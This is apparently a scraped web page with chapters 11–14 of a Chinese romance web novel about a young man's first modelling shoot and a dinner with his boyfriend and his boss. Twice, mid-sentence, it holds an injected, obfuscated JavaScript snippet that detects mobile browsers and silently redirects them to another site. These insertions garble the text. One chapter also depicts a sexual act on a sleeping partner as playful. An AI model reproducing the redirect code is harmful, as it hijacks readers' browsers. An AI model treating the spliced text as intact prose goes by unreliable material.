只有甄甄腹诽,这是夸吗?怎么骂他像小狗啊。 白芳:“快快快,给他化化妆——别浓妆艳抹的——今天就拍他!” 化妆师小姐姐回过劲,喜不自禁地就上手了,拽着甄甄就进了化妆间。 原来那个模特眼睁睁看着这些人都围着甄甄转,脸色铁青,像活生生吃了口屎那么恶心。 白芳得意道:“你改姓吧,龟儿子。” 戴维立刻发出一声嗤笑,周围人也都忍得很难受。 他下不来台,怨恨地瞪了一眼半掩门的化妆间,气急败坏、灰溜溜地走了。 10.第 11 章 化妆师托着甄甄的下巴,欣赏了好一会儿:“你皮肤真好,跟牛奶里泡出来似的。” 甄甄:“我猜你下一句就要跟我说这么漂亮的一张脸没什么化妆的必要。” “哎嘿。你怎么知道?” “我看的每一篇娱乐圈文,Cody对主角都是这么说的。” “哈哈哈哈哈哈你真可爱,不过你这张脸确实没有给我留下太多发挥空间,随便描描唇形加深下五官形状就特别完美了。” 化妆师哼着歌在甄甄脸上鼓捣,不时夸几句他长得真好。 甄甄很受用,高兴得仿佛化出了耷拉着的小狗耳朵,啪嗒啪嗒地飞起来。 他对着镜子拍了一张,发给贺越邱。 瓦瓦:[图片] 瓦瓦:好不好看?[透明雨衣小马犬转圈圈] 瓦瓦老公:这是谁家小公主啊?怎么这么漂亮,这么可爱,让老公亲一个。 瓦瓦:我要当大明星啦! 瓦瓦老公:你想进娱乐圈?嗯……好吧,只要你喜欢,我让方寸行把他公司最近要开的项目都先给你过一遍,你自己喜欢哪个就选哪个。 瓦瓦:o.o? 瓦瓦:不是啊,我才不要当资源咖! 瓦瓦:[60"] 瓦瓦:是平面模特,专门拍服装宣传图那种。 瓦瓦老公:那确实很合适——你特别上镜。 瓦瓦:O.O? 瓦瓦:你怎么知道啊? 瓦瓦老公:要我发你照片合集吗?高清视频也有~宝贝脸蛋潮红流着眼泪发抖的时候很好看,皮肤特别白,手指和……都粉粉的。 瓦瓦老公:尤其是白……慢慢流出来的时候。 瓦瓦:!!!! 瓦瓦:快删掉啊啊啊啊啊啊啊啊啊全都删掉!!!! 瓦瓦:我要跟网警举报你在互联网传播银灰涩情! 瓦瓦老公:宝宝拍完把照片发我一份。 瓦瓦:色狼! 以化妆师的视角,仿佛一只生气小狗正用两只前爪噼里啪啦地戳击屏幕,被抓得卷卷的栗色头发上还别着五颜六色的星星发夹,萌得她鼻血都要流出来了。 她咳嗽两声,努力收起姨母笑,恋恋不舍地给甄甄挨个把发卡取下来。 化妆连带着做造型花了一个多小时,但甄甄换好衣服出来,众人眼前一亮,又都一致认同这份等待是值得的—— 他换上的是某奢牌夏季新品,以英国海军服为灵感设计的一款偏向青少年群体的水手服套装,经典的蓝白配色简单又不失美感,和甄甄本身干净澄澈的气质非常适配。 再说他长得又高又白又瘦,简直是天生的衣架子。要换成之前那个模特穿,既有股油腻味又不伦不类的,偏偏他就消化得很好,随随便便走过来这几步,就让人幻视他其实是走在沙滩上,伴着咸腥的海风和海鸥,身后是雪白翻腾的浪花。 那种盛夏光年里十五六岁少年的青涩感,融在海水里浅浅淡淡的安静与忧郁,都被甄甄恰到好处地呈现了出来。 白芳再次感叹道:“也不知道内娱这些年到底在选些什么,遗珠全都在民间了。” staff引导着甄甄走到棚里,白芳教了他一些最基础的姿势。 感觉自己在被当做洋娃娃摆弄,甄甄看了眼黑乎乎的镜头,毕竟是人生第一次尝试站在聚光灯下,即使周围都是同事没有观众,难免还是有些紧张。 他忐忑地拉了拉衣角,打起了退堂鼓:“我真的可以吗?会不会最后拍出来不好看啊?要不你们还是找个有拍摄经验的专业模特来吧,不要耽误了进度。” “亲爱的,我从业到现在拍了不下一千个模特,个个都是万里挑一的帅哥美女,但我从来没有在看到成片之前夸过任何人漂亮,你可是第一个,担心什么呢?” 白芳强势地看着甄甄的眼睛,她的表情很严肃,让她的话很有信服度,一点也不悬浮。 “市场上的绝大多数模特在我看来不过是高级衣架,超出常人的优越身材和专业的拍摄风格也只是他们经纪公司统一打造出的流水线产品,他们的唯一用处就是好好展示品牌方的新季衣服,但这只能叫商品而非作品。” “知道对于一个商业性质非常重的广告导演而言什么样的片子才能被称之为作品吗?不是长得好看把衣服压下去,也不是被衣服压住——就拿这套衣服举例,能够完美地诠释出一套造型所要表达的设计理念和美学,让看到图片的人在一瞬间就被抓住眼球,继而产生出由此展开的场景联想,打从心底升出一股‘也许今年夏天可以去趟海边’的冲动,才是一套商业广告真正的成功。” 白芳也不指望甄甄能够立刻消化自己的理念,她只是放缓了语气,难得的在拍摄过程中带着笑意和模特说话:“我喜欢你的气质,没经过雕琢打磨的稚纯,如小爱神般,更胜于你绝美的容颜。” 甄甄被她夸得脸红耳赤,心底那点不安最后冒了几个泡泡,悄无声息地消散了。 “模特没问题了,来吧,都打起十二万分的精神。” 白芳没有过分限制甄甄该做什么动作和表情,只是会在关键时候引导他注意镜头。 甄甄刚开始紧张到手指尖都在发抖,脑子里空白一片,不知道该怎么做表情摆动作。慢慢适应过一阵子后,他想起来和贺越邱去海边玩时拍过的照片,索性暗示自己就当还是在海边玩就是了。于是渐渐放松下来,或坐或站,或是伸展双手想象自己在走铁路;有时候会往镜头这边看,琥珀色的眼睛湿湿润润的带着高光,像落日下浮光跃金的海面;有时候就露出侧脸,似乎惊讶懵懂地看向海平线。 周围始终都是赞叹和鼓励,甄甄也就更放得开了。白芳说得一点儿也没错,虽然没有经过专业训练,配合得有点生涩,但甄甄表现得比她预想中还要好特别多,好到连摄影师都边按快门边感叹这就是天生吃这碗饭的。 戴维也乐呵呵地守在旁边看热闹,不过看到一半,他忍不住盯着甄甄露出来的手臂和小腿,总觉得有种似曾相识的熟悉:真奇怪了,怎么以前没觉得他这位新同事还有点像zz? 倒不是说有什么特征重合—— H总从来都没有发过zz露脸的照片,大多数时候都只是一些香艳又极具性张力的文字描述,看得人心潮澎湃遐想连篇—— 只是一种玄之又玄的感觉。 戴维也说不上来他这想法到底怎么产生的,视线往上挪了挪,在看到甄甄干净漂亮的眼睛时,又无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004454|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唾弃自己的龌龊:戴适之啊戴适之,你怎么能一看到小男生露点胳膊就联想到网黄呢? 你下贱! 他赶紧把这种危险的想法排出大脑,在甄甄完成拍摄之后立刻迎上去狂拍马屁。 甄甄噫了一声,抖出鸡皮疙瘩:“你笑得跟黄皮子讨封似的。” 白芳走过来,笑道:“今天多亏你啦,不然重新找模特又要约档期,拍出来的效果还不一定有你好。” “欸?不用谢,我当免费写真拍的,等品牌方解禁之后您把原片发我一份就好啦。” “这是当然的。”白芳递给他一张名片,“考虑转行做平面模特吗?你的条件非常好,也很有天赋,我想以后如果能够长期合作那会是我的荣幸。” 甄甄双手接过,想了一会儿,没有敷衍:“我要认真考虑过之后再回复你。” 白芳点头:“好,期待你的答复。” 她时间很紧,没有和甄甄说太久,扭头指挥staff们拆灯光布置。 换回衣服后,两人告别白芳,在广告部巡视了一圈,很快就到饭点。 戴维:“想吃什么?中午这顿我请大明星。” 甄甄也不好意思当着他面说自己要去吃老板的私人小厨房,跟着他去了员工餐厅。 正值饭点,到处都是排队的人,炒菜的味道混合着各色香水味冲击着嗅觉,甄甄本来就有厌食症,在这样的环境里就更没什么胃口了。 反而戴维就对食物有着百分百的虔诚,双眼放光合掌拜拜:“哇,今日有生鱼片食?慢慢浸倨、慢慢叹倨,有得食!” 他细细品味,用餐接近尾声,才发现甄甄只抿了几口茶水,餐盘里的东西几乎没有动过。 “靓女你唔饿咩,点解唔食嘢嘅?” 甄甄回过神,低头看了眼餐盘里满满当当的食物,眼里闪过厌烦,无精打采地说:“没胃口,不想吃。” 戴维对此感到惊奇:“呢个世界居然有对免费午餐无动于衷嘅人,我承认你系一个人物!” 甄甄:“……” “我唔识讲白话,你正常讲嘢啦衰仔。” 戴维:“刚刚系我嘅李佳航人格噶。” 惊叹完后,他又好奇:“你系,咳咳,你从小就是小鸟胃吗?怪不得这么瘦呢!” 甄甄迟疑:“不算吧……我小时候挺爱吃东西的,不过后来就……反正没影响我长个子。” 戴维很有眼色的换了话题,结束用餐后两人便回秘书处午休。 方寸行打着电话进门,转头看到甄甄在工位上睡觉,巴掌小脸压在手臂上挤出一点点圆润的脸颊肉,眼睫毛浓密卷翘,薄薄的唇瓣微微张开一线缝隙,轻轻地呼吸着,像只精致的洋娃娃。 旁边同样午休的戴维睡相…… 嗯。 也勉强初具人形。 方寸行挂掉电话,走过去拍醒戴维,压低声音:“来办公室。” 戴维刚醒还有点懵逼,眼神比大学生还清澈愚蠢,等脑子里的蓝牙连接上之后再一看,老板都已经走进办公室了,忙起身赶上去。 走到一半又回头一看:不过,老板怎么只叫醒自己?甄甄不也在午休吗? 戴维挠挠头,果然伴君如伴虎。 11.第 12 章 方寸行先问了巡查结果,最后才貌似漫不经心地提到换模特这件事:“白芳做事太冲动,一时意气就什么都顾不上,你稍后维护一下品牌方,不必告知详细情况,只说换了一个更合适的新人,保证超出质量地交上宣传物料。” “可之前那个模特网络流量不低,难得在外网也有一定人气的国内男模,当时选定他也是为了图方便宣传。甄甄表现力虽然很好,但他毕竟只是临时顶包的素人,就怕品牌方不认可我们的做法。” “表现力好不就够了?你以前干运营的,又不是不知道他那张脸值多少钱。”方寸行语气强势,敲敲桌面:“先给他开个账号,以后可能用得上。” 戴维懵了下:“但甄甄还没想好要不要转行,会不会太快了。” 方寸行打断他:“你什么时候成反驳型人格了?按我说的做就行。” 戴维垮着张脸:“ok嘅老板。” 等他转身走出办公室后,方寸行垂头扶额,无奈:“抽什么疯了,以前也不这样,让那家伙带偏的吧,在我这儿就跟个病毒一样。” 下午除了拒绝同事们的友好投喂外没什么事干,甄甄爽而摸鱼,等到点下班,和来接他的贺越邱一起回家。 路上,甄甄说了今天的事,有点纠结,向贺越邱征询意见:“你说我要不要去做平面模特啊?白导讲我很适合上镜,表现力也特别棒,我以前倒是也接过同学的拍摄单,但学生作业要求不高,也不会放平台上展示,和这种商业拍摄完全不一样啊。” 贺越邱扭头看向副驾驶座,甄甄揪着西装裤上沾的毛絮,栗色小卷毛让斜射的夕阳光照得暖绒绒的,无意识地撅着嘴,脸颊肉嘟起来,拿不定主意的样子特别可爱。 他不自觉勾出几分弧度,耐心地替小男友梳理:“你学历不算很好,就业范围也比较有限,这行倒挺专业对口的。关键是你外貌条件很好,做模特没什么压力,报酬也很可观。我觉得你还是挺想尝试的,只是总有点犹豫,是觉得这个选择比较重要,害怕下决定吗?” 甄甄皱着张小脸,苦大仇深地说:“全职做的话还是挺累的,虽然平面模特也不用走T台,但光拍照时不停换衣服摆姿势就够喝一壶了。” 相比之下给方寸行当秘书倒还轻松一些,早九晚五有双休,同事还都很好相处,简直就是神仙工作了。 “工作哪有不累的,我之前让你不用去上班,就在家里吃吃睡睡玩玩,你又不愿意。” “我又不是你养的小狗!”甄甄撇撇嘴,很不满意贺越邱这种大男子主义的说法,“那我要是闯祸了怎么办?比如说,不小心把品牌方很贵的衣服或者首饰弄丢了,结果一看价格几十万,把我卖了也赔不起,我就要被赶出公司上天桥当小乞丐了。” 贺越邱不以为意:“不还有老公吗?你闯祸当然你男人给你顶着。别说几十万这么点小钱,几百几千万也赔得起。” 但甄甄一句话却问得贺越邱劈头怔住:“你不管我了呢?” 贺越邱几乎是脱口而出:“我怎么会不管你?” “我们只是谈恋爱,又没结婚,以后万一掰了,你肯定就不管我了。” 甄甄忽然让惯性晃了一下,贺越邱靠边停车,不太高兴地捏捏他的脸颊肉:“我管你肯定就管你一辈子,不准说这种话。你想做什么就去做,不要有太多顾虑,无论发生再糟糕的事,都还有我。” 甄甄的脸被两边拉住,口齿不清道:“好唔——” 他拍掉贺越邱作乱的手,小河狸拍香香一样拍拍被捏红的脸颊,不高兴地撅起嘴:“我以后可是要当国际名模的人,出门在外不许动手动脚。” 贺越邱笑得乐不可支,犯贱般又去捏甄甄的嘴巴:“翘得都能挂油壶了,一天天这么爱使小性子呢,要没我可怎么办。” “哎呀你烦不烦!牛蹄子总不安分呢?”甄甄拍掉贺越邱的手,心里挺美滋滋的,装模作样地问:“那我以后当模特去了,吸来很多老公粉女友粉啊什么的,在我账号下面评论说喜欢我,你不吃醋啊?” 贺越邱呼吸蓦地一重,缓了下,才勉强控制住自己只是凑过去咬了下小狗耳朵。 “越多人喜欢你不是越好吗?我可不是那种小气吧啦、看老婆穿个裙子出门都要暴跳如雷的loser,当然会全心全力地扶持你做自己的事业。” 甄甄被哄得心花怒放,凑上去特别响亮的、吧唧一大口印在贺越邱脸上,抱着他摇晃:“哎呀老公,你怎么对我这么好啊,真想告诉全地球连带三体人我有一个天底下最好的老公。” 贺越邱恬不知耻地应下甄甄的撒娇,捏捏他被咬的耳垂:“现在不烦了吧?” “嗯嗯。”甄甄满眼崇拜地看着他。 贺越邱又才重新启动车子,顺口问:“中午好好吃饭了没?” 甄甄有点心虚地往窗外瞥,手指绕来绕去:“吃了!” 面对贺越邱质疑的目光,他说得特别大声,“生鱼片嘅,慢慢浸倨、慢慢叹倨,好好食。” “噗,你哪儿学的?那晚上想吃什么,顺道去买点新鲜菜回家。” 一提到食物,甄甄就像暴晒焉掉的小黄花,可怜又无助地瘫倒靠在车窗上,倒映出的表情满是生无可恋。 “人为什么一定要吃饭?一天三顿,一顿一个小时,这么宝贵的三个小时就被浪费了!我强烈建议国家研发类似猫粮狗粮的人粮,倒一把吃进去就可以满足人体所需的基础营养,彻底解放生产劳动力!” “你这都是歪理,人活着就为了吃饭,吃饱了才好思淫/欲,我不吃饭没力气怎么喂饱你?” 甄甄瞪大眼:“到底谁才是歪理!” “反正你要是不好好吃饭,我有的是办法让你从其他地方补充营养。” 威风不过三秒,甄甄又怂怂地缩回小猫球。 “话说回来,上次在橄榄球场上要不是方寸行,你现在可能还搁医院躺着呢,我说要不请他到家吃个饭,表示表示?” “怎么突然提起他?”甄甄坐直身体,仔仔细细地研究了半天贺越邱的微表情,也没发现什么不对劲,就更奇怪了,他以为贺越邱还在为那件事吃醋呢,“不是都解释了吗,我和他又不是故意抱的,都是事发突然。” “我没那个意思。毕竟也算救了你对不对?再说你到他公司做事,多少也经常麻烦他,于情于理也该感谢下。” “那行吧,反正到时候又不是我下厨,还不是你自己忙里忙外。”甄甄同意了,“那等明天我去跟他说白导这事,顺道邀请他呗。” 贺越邱抬手摸摸甄甄脑袋:“乖宝宝。” 但真等到要和方寸行单独相处时,甄甄又磨磨蹭蹭了好久,眼见快下班实在捱不过去,才像被叫到办公室谈话的不良学生一样不情不愿地敲了敲门,祈祷着最好对方也不想看到自己,这样回家被贺越邱问起来,就可以直接甩锅给方寸行,就说是姓方的根本就不待见他! 但甄甄才刚敲了一下,办公室里就立刻传出方寸行的声音:“进。” 甄甄:“?” 你有这 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“喂!”甄甄气得一拍桌子,手心顿时火辣辣地疼,表情也有一丝破绽,强忍住了,随即滔滔不绝道:“我昨天帮忙救场,拍了一上午片子,都没找你要加班费,你怎么好意思卡一个一心一意为公司创造收益的优秀员工!是谁让先进流血流汗又流泪!你这样我要去劳动仲裁你,我告诉你我是农村户口,国家要给我安排免费的法律援助的,你等着315被列为典型吧!” 方寸行的话被堵在喉咙口,听甄甄一气呵成地说完,又气又惊奇,最后愣是气笑了几声。 “我说过不让你去做模特了吗?你一个半路出家的什么也不懂,贸然转过去被坑被骗了到时候又要过来骂我这个无良老板当时怎么没拦住你。” 方寸行说到一半气才理顺,情绪稍稍平复,“我的意思是你的档案还留在秘书处,把新的工作当一项兴趣兼职做,白芳有活找你,跟我报备一声就去,该结的报酬按市场价结给你,一点也不耽误你赚钱。包括昨天那场拍摄,我到时候让财务算清楚了打你工资卡里。” “……昂?”甄甄脑子宕机,一时卡住,眨巴眨巴眼,“原来你是良心老板的人设吗?” 方寸行让他给气笑了:“在你心里我到底有多可恶?” 甄甄心虚地干笑两声:“还好吧呵呵,不多,也就那么亿点点……亿点点……” 但一下秒方寸行张口又是甄甄不爱听的话:“你是为什么会觉得我作为一个有完整人格的人,会去欺负一条又笨又坏又容易凶人的小狗?” 甄甄正要不服气地反驳,方寸行却没给他机会:“还有,张口就是戴维说,戴维和我到底谁才是老板?戴维懂还是我懂?” “这关戴维什么事,你有气不要冲着戴维发。”甄甄纳闷地看了他好几眼,这小心眼子,怎么还记恨人家戴维,“好了好了,我都不生气了,你也不准生气。就按你说的办吧。” 方寸行阴阳怪气道:“你倒是挺护短。” 甄甄知道自己误会了他,一码归一码,这次就不计较了,才愿意提起贺越邱让他办的事。 “我老公说邀请你周六到家里吃饭,他跟你说了吗?” “公司不要谈私事。” 方寸行余光扫过去,落地玻璃外偷看的一众秘书纷纷乌龟缩头。 甄甄正想说就你事多,又见冷脸上司忽然拿出手机,点了几下,摊开放在办公桌上。 方寸行一抬下巴:“加我私人微信,私底下说。” 甄甄:“……” 真是受不了这死装男! 12.第 13 章 京市四月份的早晨还有点冷,贺越邱拉开窗帘,晨光爬上布满露珠的玻璃,照得室内一片亮堂。 他呼出口热气,露珠连成水流蜿蜒而下。 带点寒气的大手探进被子,轻轻放在少年睡得白里透粉的脸颊边,冰得睡梦中的人一激灵。 “该起床了小懒猪,”贺越邱捏捏他鼻子,俯身亲亲鼻尖,“别忘了今天还有客人要来。” 好梦被搅,甄甄夹着被子转身朝着另一边,把自己藏在暖乎乎的被窝里,发出类似满月小狗哼哼唧唧的声音。 “哪有那么早……我说了晚上吃饭……他肯定也还在补觉呢……呼……” 一句话还没说完,被子里就传出来温热而均匀的呼吸声。 贺越邱系着比格图案的围裙站在床边,双手插腰无奈又好笑地摇了摇头:“你真不起床?” “呼……呼……” 回答他的只有甄甄幸福的梦中呼吸。 “那再睡半个小时,”贺越邱抬手看了看时间,“我去把早餐摆好。一会儿我再来叫你,还赖床的话……” 他看着被子里露出来的那一点栗色,似笑非笑。 甄甄睡得朦朦胧胧,只觉心尖一紧,好像被什么不怀好意的东西给盯上了,很没安全感地抱住玩偶猪,夹紧了被子。 半个小时后。 “呼……” 依旧只有微微的鼾声。 贺越邱悄无声息地出现在房间,静静看了会儿,笑了。 甄甄正睡得安稳,忽然很不舒服地哼哼两声,往被子上蹭了蹭,像是被狗舔过,湿湿热热的还带着倒刺。 痒得有点挠心。 不一会儿狗尾巴也扫了上来,在对比下胸口平坦得没有弧度。 甄甄睡得有些焦躁,手无意识地去推拒那只过分热情的大狗脑袋,却只抓到粗糙卷曲的毛发,硬扎扎的又杂乱无章,随便乱抓几下手就湿了,放到鼻子下一闻又不是哄臭的狗口水味,咸湿腥气引得他喉咙发紧。 甄甄难受得胡乱踢蹬,把被子都踢开了,胸口却仍旧压着重重的东西,几乎要喘不过气。 他张了张嘴,想呼吸,想喊出声,却只能发出哑声,反而被微苦的味道弄得发呕。 迷糊中似乎听到有人叫他的名字,沉闷的,也不清晰。 甄甄慢慢热起来,没多久就发出细汗,将醒未醒的边界反复。忽然他没办法呼吸,一阵窒息后猛地睁开眼,还没来得及叫喊就被捂住嘴,呛得猛咳。 多余的洒在睫毛上,如玻璃窗上的露水般随着他的剧烈眨动而流下。 “你、你干什么!” 竟然是“鬼”压床! 甄甄一把推开贺越邱,男人一下就坐回去,或者说是他根本就没用力防备。 甄甄嘴里比刚醒时还苦,翻身去够床头柜上的温水,却被抢先一步。他眼睁睁看着刚刚才欺负了自己的男人水牛般一饮而尽,气得正要werwer大骂,下一秒却被阴影笼罩,按住后脑渡了一大口水。 瞳孔在瞬间放大,甄甄没来得及震惊,本能地喝下了贺越邱喂给他的水,吃完后也没被放开,被吻得快换不过气后才稍事休息。 嘴巴好不容易空闲,甄甄正要怒骂狗男人,下一秒便又被狠狠堵住,吃得他只剩下无力的“唔唔”声。 反复的深吻后甄甄已经体力耗尽,浑身软成一滩化了的棉花糖,哪里都碰不得,稍微戳一戳就会细细地发抖。 贺越邱这才勉强放过他。 “以后还赖不赖床躲避早饭了?”他把之前卷上去的睡衣拉下来,替甄甄整理好汗湿掉的额发,“老公说过有的是办法让你补充营养,对不对?” 甄甄舌头都是酸的,眼角和嘴巴很红,泛着泪花,委屈死了:“你滚!” 贺越邱的手不老实,探进被子里还想揩油,却连带着人都被踢下床。 “咚”地一声巨响,好像什么磕到地板的声音。 摔坏了?! 甄甄心跳停了一下,但转念一想这人刚刚对自己干了什么,又撇着嘴埋进被子,狠心不理。 这时候床下传来贺越邱隐忍地抽气声,甄甄硬起来的心肠又忍不住揪成一团,脑子里的马尔济斯和比格打了一架后,他终于还是掀开一点点被子角,偷偷探出小半个头。 男人一手捂着肩膀,紧绷状态下隐隐现出肌肉线条的胳膊呈出一种折曲怪异的姿势,脸上是甄甄从来没见到过的痛苦神色,心一下子提到嗓子眼。 像是发现甄甄裹着被子暗中观察自己,贺越邱又换上轻松些的神情,明明嘴唇都有些苍白,却故作若无其事的样子安慰他:“没事,就是扭了一下。” 甄甄哪儿还顾得上找他算账,急得要拿手机打120,又想看看贺越邱到底伤到什么程度,手忙脚乱地裹着被子一头栽下去,吓得他尖叫一声,下秒却又被疑似骨折的男人稳稳抱住,把他从被子里剥出来,眼角耳垂都细细亲了一遍。 甄甄缓了半天才从惊吓中回过神,对着贺越邱完好无损的右胳膊呆呆地看了半天,还是贺越邱见他这样实在太可爱没忍住笑出声,甄甄才反应过来,气得一口咬上去。 他就说这家伙在橄榄球赛场上被四五个重型坦克撞翻都能立马爬起来继续跑,怎么轮到自己轻轻一推就断胳膊瘸腿! 又骗他! “嘶,轻点儿,轻点儿祖宗!” 这回是真疼,隔着衣服都渗出了点血丝。 贺越邱却不敢还手,任打任骂,怕甄甄不解气,还把另一边肩膀掰过去。 他讨好地舔舔甄甄的手,像只完全被驯服的头狼:“这些地方都随便你咬,能解气就行。那儿可千万不能咬。” 不说还好,一说甄甄就汪呜一口又咬上去。 咬死你! 他恶狠狠地展示自己猎犬般暴戾的眼神。 小狗宝宝长乳牙了。 贺越邱冒着被咬的风险也想撬开小男友的嘴,看看那两颗刚长出来的小犬牙有没有被自己崩坏。 甄甄正闹贺越邱,门铃忽然响了,动作瞬间卡住,脑袋边仿佛有个加载圆圈。 几秒后,推贺越邱去开门:“周六大早上的,谁会这么早来串门?” 贺越邱先把被子裹住的甄甄端到床上,“快递员?”才又转身往玄关走。 甄甄也赶紧下床,光着脚哒哒哒的,跑去洗漱。 贺越邱的体格让他从来不在乎事先看猫眼,直接拉开门,发现是提着牛奶水果的方寸行后,还有点惊讶:“你来这么早?” 又有点好笑地扒拉了一下他手里的东西,“不是吧,堂堂星火方总,来别人家做客也提这些啊?” 方寸行两只手掌都被勒出淤青,眼神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018373|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显有点躲闪,带些羞愤。 “……还不是我妈。她以为你要给我介绍对象,让我带点伴手礼,说这么看起来显得人老实顾家。” 贺越邱毫不留情地放声嘲笑,动静吸引了甄甄,嘴里还塞着蓝色的电动牙刷就探出半个头看热闹,认出来人是方寸行后小脸一皱,又立刻兔子似的缩回洞里了。 “……” 栗色小卷毛约克夏在视野里一闪而过,方寸行完全读出对方的嫌弃。 他扭头看向贺越邱。 “……你是不是经常背地里说我坏话?” 贺越邱接过伴手礼,正往玄关柜上放,闻言很是惊奇:“我?能是那种人?再说就你这刻薄毒舌老板的人设,还用得着我特意吹耳边风?” “……” 方寸行冷冷道,“你家这位对我意见不是一般大。” “呃,你知道像小猫小狗这样可爱的小动物,都有一种很纯真的直觉吧?”贺越邱说,“能闻得出人是好是坏,特别喜欢就会亲近。” “至于你……”贺越邱上下打量他一番,“要不试着从自己身上找一下原因?” 方寸行呵呵两声:“恋爱脑果然都是成双入对出行。” 贺越邱欣然接纳:“感谢你对我及家妻的祝福。” “……” 恋爱脑急需纳入国家重大疾病医疗保险。 方寸行坐上沙发,闭眼。 贺越邱也跟着坐到对面,从果盘里挑出个形状最饱满的爱妃苹果,拿着水果刀腕骨翻动,没一会儿就削出一长串弯弯曲曲却不断的苹果皮。 方寸行奇了:“我还能吃上贺总削的苹果?” 马上又看见他变魔术似的雕出来只兔子。 “……” 空气尴尬地沉默起来。 甄甄洗漱完出来,贺越邱对他招招手:“你要是能把这只兔子苹果吃完一半,明天就带你去农庄摸真兔子。” 原本鬼鬼祟祟溜边的甄甄:“不准骗我!” “……” 方寸行第一次知道人可以沉默到这样。 他认真地在考虑要不要立刻起身离开。 ——回家被骂,总好过一大早提着伴手礼上门,就为了看一只北美野牛哄恋爱脑娇妻吃兔子苹果。 于是嘴比脑子快:“属牛和属狗也不能差四岁吧。” 甄甄咀嚼动作做到一半:o-o( 他怎么知道我属狗? “你高考数学只会做选择题吧,”甄甄嘲笑道,“明明大四岁应该属马。” 他反手勾住贺越邱的脖子,拉到自己脸边:“看出来了吗?” 方寸行的视线扫了几个来回,迟疑道:“……美女与野兽?” 甄甄大佬般翘起二郎腿,拍拍贺越邱的脸,得意后仰:“这就叫龙马精神。” 又亲了贺越邱一下,他便立刻高兴地配合着嘶鸣一声:“这就叫人欢马叫。” “……” 方寸行用怜悯的目光看向甄甄和贺越邱,一个是傻子,另一个也是傻子:“虽然我复旦金融学硕士,高考本市理科状元,或许对文学涉猎不足,但至少人欢马叫的意思不是人被亲一下后就高兴的学马叫。” “把水果还给我。牛奶就不用了——” “六个核桃,你俩一人三个,留着多补补脑。” 13.第 14 章 甄甄把贺越邱用力推开:“我就说别请他来了。” “他这人从小就嘴贱不招人待见,咱别跟他一般见识。” 贺越邱黏上去狠狠亲了甄甄一口,乐滋滋地起身去厨房,不忘招呼被他俩孤立的方寸行:“锅里还炖着土鸡呢,我得去看着,你就当在自己家随意点儿,别欺负我们家小宝贝。” 甄甄马上也跟着起身:“谁要跟他待在一起。” 方寸行满脸黑线,眼看着俩人一前一后进了厨房。 贺越邱手糙肉厚的,直接就上手掀开紫砂锅盖,拿汤勺在黄澄澄的鸡汤里转了转,撒下几粒盐,舀出点儿尝了尝,鲜味在舌尖爆开,满意地又舀了点儿递到甄甄嘴边:“专门让人在乡下养的跑山鸡,养三四年了,加点枸杞党参炖出来不知道有多好喝,又营养,你今天中午得多喝一碗。” 甄甄嫌弃地撇开头,往后退得离那炖着鸡的砂锅要多远有多远:“活鸡被宰了不就是尸块吗,动植物尸体炖一起有什么营养的,人专家都说了那汤里都是嘌呤压根没营养的,喝多了小心痛风。” 又马上说:“不过可以给姓方的多喝点。你有没有那种相生相克的菜谱,多做几道给他毒哑算了,从进门到现在就没一句是我爱听的。” 贺越邱重新盖上,洗了手,略有点用力地刮了下甄甄鼻子:“鸡给人吃,多好的鸡,当着它炖出来的汤说这种话,要是让鸡的在天之灵听到了,那它得多伤心。你早上就吃了两口苹果,中午别想赖掉了,不好好吃饭的话我让方寸行每次出差都只把你带上。” “不行!谁要和他一起出差!” 方寸行一走过来,就听见这两口子背后蛐蛐他:“……” 你俩是把我当成什么调情工具了呗? 偏偏这俩人看见他了也没半点儿做贼心虚,当着他面腻腻歪歪。 他实在忍不下这口恶气,瞥一眼跟只考拉挂贺越邱身上似的甄甄,本来是想刺他离了老公不能活的,但话到嘴边不知道为什么又硬生生拐了个弯,刺贺越邱去了:“贺大公子还有这手艺呢?伯父都没那个口福吧。” 甄甄立刻维护老公:“你就跟抖音上那些一看到宠物就想起父母的人一样。爱妻者风生水起听没听过,怪不得你那公司开得没我家贺总大呢。” 贺越邱揽过小男友肩膀,好似一头威风凛凛的大红公鸡:“新时代好男人就是要上得厅堂下得厨房,床上抓住老婆的……咳咳,床下抓住老婆的胃,你还得练,不然伯母再盼十年八年都盼不回媳妇儿。” 方寸行:“……” 早知如此,他就不该来。 眼看着刻薄上司黑着脸铩羽而归,甄甄乐得小尾巴都要翘起来了。 还没等他得意多久,贺越邱又推着他肩膀往外送:“乖了,再怎么说他也是我们客人,你先出去陪陪,这儿有我一个就够了。” 甄甄不情不愿地被推着到客厅,贺越邱耐心地哄了好一会儿,他才撅着嘴坐回沙发。 但离方寸行起码三米远。 没贺越邱充当气氛组,方寸行越坐越尴尬。两人目光偶尔对上,甄甄也立刻扭头玩手机,让方寸行本来想说点什么也没机会,讪讪地剥起橘子。 在他把果盘里的砂糖橘都剥完后,贺越邱总算带着一身烟火气出来了。 方寸行刚要开口,甄甄便拿起一个剥好的橘子塞到贺越邱嘴里,特体贴、特善解人意地用从来不会在他面前有的温甜语气,说:“热不热?累不累?就三个人,你少做点菜,不然吃不完也浪费。” 贺越邱很是受用,两口就吞下整个橘子:“没几个菜,你们再等会儿,鸡汤还有几分钟就炖好了。” 甄甄星星眼地看着他家顶梁柱:“嗯嗯。” “?” “……” 方寸行冷笑两声。 真把我当套使呢。 